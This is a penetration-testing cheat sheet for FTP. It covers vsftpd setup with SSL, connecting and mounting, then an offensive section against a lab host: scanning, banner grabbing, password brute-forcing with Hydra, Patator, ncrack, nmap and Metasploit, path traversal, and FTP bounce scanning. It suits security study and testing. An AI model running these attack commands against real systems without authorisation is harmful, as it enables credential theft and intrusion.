Resources

Cheat sheet

Commands

  • Technology
    • Install the FTP service and run it .
      sudo apt install vsftpd
      sudo systemctl enable vsftpd
      sudo systemctl start vsftpd
    • Generating SSL
      sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/vsftpd.pem -out /etc/ssl/private/vsftpd.pem
      • Configrations
            ssl_enable=YES
            rsa_cert_file=/etc/ssl/private/vsftpd.pem
            rsa_private_key_file=/etc/ssl/private/vsftpd.pem
            allow_anon_ssl=NO
            force_local_data_ssl=YES
            force_local_logins_ssl=YES
            ssl_tlsv1=YES
            ssl_sslv2=NO
            ssl_sslv3=NO
            require_ssl_reuse=NO
            ssl_ciphers=HIGH
            pasv_min_port=40000
            pasv_max_port=50000
    • Connecting
      • ftp
        ftp ftp://ubuntu:123@192.168.99.24 # Username & Password 
        ftp ftp://anonymous:anonymous@192.168.99.24 # Anonymous 
      • lftp
        lftp
        lftp :~> set ftp:ssl-force true
        lftp :~> set ssl:verify-certificate no
        lftp :~> connect 192.168.99.24
        lftp 192.168.99.24:~> login ubuntu 123
        lftp ubuntu@192.168.99.24:~> ls
        
    • Mounting
        apt-get install curlftpfs
        curlftpfs ubuntu:123@192.168.99.24 my_ftp # If SSL is enabled -o ssl,no_verify_peer,no_verify_hostname
        curlftpfs -o allow_other ftp-user:ftp-pass@my-ftp-location.local /mnt/my_ftp/ # To allow other users
        fusermount -u my_ftp # unmount     
      • Downloading
        wget -m --no-passive ftps://ubuntu:123@192.168.99.24/ --no-check-certificate -reject '.vboxclient*'
  • Offensive
    • Enumeration
      • Scaning
            nmap -Pn --disable-arp-ping -sV 192.168.99.24 -p21
      • Banner Grabbing bash nmap -Pn --disable-arp-ping -sV 192.168.99.24 -p21 --script=banner nc -nv 192.168.99.24 21 telnet 192.168.99.24 21 openssl s_client -connect 192.168.99.24:21 -starttls ftp
    • Offensive
      • Brute Forcing
        • MSF
          msf > use auxiliary/scanner/ftp/anonymous
          msf > use auxiliary/scanner/ftp/ftp_login
        • Nmap
          nmap --script=ftp-anon -p21 192.168.99.24
          nmap --script ftp-brute -p21 192.168.99.24
        • Patator
          patator ftp_login host=192.168.99.24 user=FILE0 password=FILE1 0=users  1=pass.txt tls=1 -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 # SSL
        • Hydra
          hydra -t 2 -L users -P pass.txt 192.168.99.24 -s 21 ftps #SSL         
          hydra -L users -P pass.txt 192.168.99.24 ftp -V
        • ncrack
          ncrack -v -U users -P pass.txt ftp://192.168.99.24:21
      • Attacks
        • Path Traversal
          ftp ftp://ubuntu:123@192.168.99.24
          ftp> ls ../../../../
          -rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
          -rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
        • FTP Bounce
          • Nmap
            nmap -sV --script ftp-bounce -p21 10.10.x.x 
            nmap -v -p 21,22,445,80,443 -b username:password@172.19.0.100 192.168.0.1/24
          • Msf
            msf > use   auxiliary/scanner/portscan/ftpbounce
        sequenceDiagram
            participant Attacker
            participant FTP server
            participant Target
            Attacker->>FTP server: PORT 172,19,0,100,0,1234
            FTP server-->>Target:  SYN+Port 1234
            Target-->> FTP server: SYN/ACK
            FTP server-->> Target: ACK
            FTP server ->> Attacker: 226 Transfer Complete
        

Notes